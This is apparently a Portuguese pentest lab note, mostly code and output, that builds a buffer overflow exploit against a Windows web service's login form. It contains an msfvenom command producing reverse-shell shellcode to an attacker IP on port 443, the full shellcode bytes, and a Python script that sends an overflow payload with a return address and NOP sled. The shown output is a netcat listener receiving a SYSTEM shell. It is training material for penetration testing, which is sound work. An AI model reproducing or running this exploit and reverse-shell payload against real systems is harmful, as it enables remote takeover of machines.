

# Gerando e Inserindo o Shellcode

+ Vamos gerar o payload com o `msfvenom`

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.16 LPORT=443  
-b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f c
```

→ -b indica os badchars

→ -f indica o formato

→ c indica que escolhemos o formato da linguagem c

```
unsigned char buf[] =  
"\xda\xd6\xbb\xa4\x8b\xbd\x95\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"  
"\x52\x83\xc2\x04\x31\x5a\x13\x03\xfe\x98\x5f\x60\x02\x76\x1d"  
"\x8b\xfa\x87\x42\x05\x1f\xb6\x42\x71\x54\xe9\x72\xf1\x38\x06"  
"\xf8\x57\xa8\x9d\x8c\x7f\xdf\x16\x3a\xa6\xee\xa7\x17\x9a\x71"  
"\x24\x6a\xcf\x51\x15\xa5\x02\x90\x52\xd8\xef\xc0\x0b\x96\x42"  
"\xf4\x38\xe2\x5e\x7f\x72\xe2\xe6\x9c\xc3\x05\xc6\x33\x5f\x5c"  
"\xc8\xb2\x8c\xd4\x41\xac\xd1\xd1\x18\x47\x21\xad\x9a\x81\x7b"  
"\x4e\x30\xec\xb3\xbd\x48\x29\x73\x5e\x3f\x43\x87\xe3\x38\x90"  
"\xf5\x3f\xcc\x02\x5d\xcb\x76\xee\x5f\x18\xe0\x65\x53\xd5\x66"  
"\x21\x70\xe8\xab\x5a\x8c\x61\x4a\x8c\x04\x31\x69\x08\x4c\xe1"  
"\x10\x09\x28\x44\x2c\x49\x93\x39\x88\x02\x3e\x2d\xa1\x49\x57"  
"\x82\x88\x71\xa7\x8c\x9b\x02\x95\x13\x30\x8c\x95\xdc\x9e\x4b"  
"\xd9\xf6\x67\xc3\x24\xf9\x97\xca\xe2\xad\xc7\x64\xc2\xcd\x83"  
"\x74\xeb\x1b\x03\x24\x43\xf4\xe4\x94\x23\xa4\x8c\xfe\xab\x9b"  
"\xad\x01\x66\xb4\x44\xf8\xe1\x7b\x30\x02\xe2\x13\x43\x02\x03"  
"\x5f\xca\xe4\x69\x8f\x9b\xbf\x05\x36\x86\x4b\xb7\xb7\x1c\x36"  
"\xf7\x3c\x93\xc7\xb6\xb4\xde\xdb\x2f\x35\x95\x81\xe6\x4a\x03"  
"\xad\x65\xd8\xc8\x2d\xe3\xc1\x46\x7a\xa4\x34\x9f\xee\x58\x6e"  
"\x09\x0c\xa1\xf6\x72\x94\x7e\xcb\x7d\x15\xf2\x77\x5a\x05\xca"  
"\x78\xe6\x71\x82\x2e\xb0\x2f\x64\x99\x72\x99\x3e\x76\xdd\x4d"  
"\xc6\xb4\xde\x0b\xc7\x90\xa8\xf3\x76\x4d\xed\x0c\xb6\x19\xf9"  
"\x75\xaa\xb9\x06\xac\x6e\xc9\x4c\xec\xc7\x42\x09\x65\x5a\x0f"  
"\xaa\x50\x99\x36\x29\x50\x62\xcd\x31\x11\x67\x89\xf5\xca\x15"  
"\x82\x93\xec\x8a\xa3\xb1";  
root@pentesting:/home/desec/Desktop#
```

```
#!/usr/bin/python
```

```
import socket
```

```
#0x10090c83
```

```
# badchars = \x00\x0a\x0d\x25\x26\x2b\x3d
```

```
#ret = 0x10090c3 libspool.dll Windows 10 Enterprise
```

```
# windows/shell_reverse_tcp lhost=192.168.0.16 lport=443
```

```
shellcode = (<todo o payload>)
```

```
dados = "A"*780 + "\x83\x0c\x09\x10" + "\x90" * 16 + shellcode
```

```
# "\x90" * 16 é o NOP's Leading
```

```
tam = len(dados) + 20
```

```
request+="POST /login HTTP/1.1\r\n"
```

```
request+="Host: 192.168.0.5\r\n"
```

```
request+="User-Agent: Mozilla/5.0 (x11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0\r\n"
request+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
request+="Accept-Language: en-US,en;q=0.5\r\n"
request+="Accept-Encoding: gzip, deflate\r\n"
request+="Referer: http://192.168.0.5/login\r\n"
request+="Content-Type: application/x-www-form-urlencoded\r\n"
request+="Content-Length: "+str(tam)+"\r\n"
request+="DNT: 1\r\n"
request+="Connection: close\r\n"
request+="Upgrade-Insecure-Requests: 1\r\n"
request+="\r\n"
request+="username="+dados+"&password=A"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.5",80))
s.send(request)
```

→ Se abrirmos nossa porta 443 da máquina de endereço setado com o netcat, obteremos a conexão reversa após a execução do script

```
nc -vnlp 443
```

```
root@pentesting:/home/desec/Desktop# nc -nlp 443
Microsoft Windows [Version 10.0.18363.778]
(c) 2019 Microsoft Corporation. All rights reserved.

File System
C:\Windows\system32>
```

→ Aqui ganhamos a shell

```
C:\Windows\system32>whoami
whoami
nt authority\system
```

→ O problema é que se fecharmos a conexão da porta 443 e tentarmos obter de novo a shell, n vamos conseguir pelo motivo de o msfvenom gerar payloads que matam o processo qnd encerramos a conexão